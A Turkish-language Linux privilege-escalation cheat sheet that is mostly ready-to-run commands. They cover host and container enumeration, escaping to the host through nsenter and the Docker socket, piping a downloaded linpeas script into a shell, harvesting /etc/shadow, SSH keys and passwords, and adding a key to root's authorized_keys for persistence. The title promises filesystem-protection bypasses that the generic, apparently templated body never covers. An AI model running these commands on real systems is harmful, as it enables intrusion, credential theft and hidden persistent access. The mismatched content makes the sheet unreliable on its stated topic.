Bypass FS protections: read-only / no-exec / Distroless

linux privesc

Bypass FS protections: read-only / no-exec / Distroless Linux yerel yükseltme / post-erişim notudur. Amaç rastgele exploit değil; izin, SUID, capability, cron/systemd ve yazılabilir yolları enumerasyonla çıkarıp kanıtlanabilir root shell üretmek.

Metodoloji

1. Kimlik, kernel, sudo -l, SUID/cap ve dinleyen portları çıkar.

2. Bypass FS protections: read-only / no-exec / Distroless ile ilgili yazılabilir config/binary/timer/group yüzeyini doğrula.

3. Primitifi PoC ile root veya eşdeğer yetkiye çevir.

4. Shadow/SSH/history loot al; pivot notunu yaz.

Durum envanteri

Bypass FS protections: read-only / no-exec / Distroless için önce kimlik, kernel, sudo ve SUID yüzeyini kilitle. Enum çıktısı sonraki hipotezleri besler; kör exploit denemeden önce harita çıkar.

id; whoami; hostname

uname -a

cat /etc/os-release

sudo -l 2>/dev/null

find / -perm -4000 -type f 2>/dev/null

getcap -r / 2>/dev/null

ps auxww

ss -lntp

cat /etc/crontab; ls -la /etc/cron.* /var/spool/cron 2>/dev/null

env | sort

Container / namespace yüzeyi

Privileged, host mount, docker.sock ve runtime API kaçışın klasik kapılarıdır.

cat /proc/1/cgroup; cat /proc/self/status | rg Cap

ls -la /.dockerenv /var/run/docker.sock /run/containerd/containerd.sock 2>/dev/null

mount | rg ' / |docker|overlay'

fdisk -l 2>/dev/null; ls -la /dev/sda* /dev/nvme* 2>/dev/null

capsh --print

cat /proc/self/mountinfo | head

nsenter --target 1 --mount --uts --ipc --net /bin/bash  # privileged

docker -H unix:///var/run/docker.sock run -v /:/host -it alpine chroot /host

ctr --address /run/containerd/containerd.sock containers ls

runc --root /run/docker/runtime-runc/moby list 2>/dev/null

Korumaları ölç / atlat

Koruma katmanı varlığını ölç; eksik profil veya yazılabilir path ile aş.

grep Seccomp /proc/self/status

cat /proc/self/attr/current 2>/dev/null

aa-status 2>/dev/null; getenforce 2>/dev/null

ls -la /sys/fs/cgroup 2>/dev/null | head

find / -writable -type d 2>/dev/null | head -n 40

cat /proc/sys/kernel/unprivileged_userns_clone 2>/dev/null

Yazılım / ağ / bypass

Üçüncü parti servis, restricted shell ve yerel socket enjeksiyonları enum sonrası gelir.

ss -lntp; ss -lx

find /opt /usr/local -type f -perm -111 2>/dev/null | head -n 40

ls -la /opt /var/lib /etc/default 2>/dev/null

curl -sk https://127.0.0.1:8089 2>/dev/null | head

find / -name '*.conf' -writable 2>/dev/null | head

echo $PATH; type -a python python3 perl ruby php nc

compgen -c | head

bash -c 'enable -a' 2>/dev/null

Yazılabilir yollar ve otomatik enum

find / -writable -type d 2>/dev/null | head -n 60

find /home /opt /var/www /tmp -type f -readable 2>/dev/null | head -n 40

ls -la /etc/passwd /etc/shadow /etc/sudoers 2>/dev/null

curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh

pspy64 -pf

Root sonrası loot

cat /etc/shadow

ls -la /root/.ssh; cat /root/.ssh/id_* 2>/dev/null

find / -name '*.kdbx' -o -name '*id_rsa*' 2>/dev/null | head

history -a; cat /root/.bash_history ~/.bash_history 2>/dev/null | tail

sshd -T 2>/dev/null | head

Manuel doğrulama komutları

# Bypass FS protections: read-only / no-exec / Distroless — hedefe özel varyant 14

ls -la /tmp /dev/shm /var/tmp

find /var/log -type f -readable 2>/dev/null | head

grep -Rni 'password\|passwd\|secret\|api_key' /home /opt /var/www 2>/dev/null | head -n 40

lsattr -a /etc/passwd /etc/shadow 2>/dev/null

cat /etc/fstab; mount | rg 'noexec|nosuid|nodev'

iptables -L -n 2>/dev/null | head; nft list ruleset 2>/dev/null | head

last -a | head; w; who

find / -name '*.bak' -o -name '*pass*' 2>/dev/null | head -n 30

python3 -c 'import pty; pty.spawn("/bin/bash")'

Stabilize shell

script -qc /bin/bash /dev/null

export TERM=xterm; stty rows 40 columns 120

ssh-keygen -t ed25519 -f /tmp/k -N ''

echo $(cat /tmp/k.pub) >> /root/.ssh/authorized_keys  # root sonrası

Checklist

[ ] id/uname/sudo -l alındı
[ ] SUID/cap/cron/systemd tarandı
[ ] Yazılabilir config/binary doğrulandı
[ ] Privesc PoC ile root kanıtlandı
[ ] Credential/SSH loot paketlendi

Notlar

Bypass FS protections: read-only / no-exec / Distroless sonuçları sürüm, yapılandırma ve koruma katmanına göre değişir. Komutları hedefe göre uyarla; başarılı zinciri adım adım kaydet.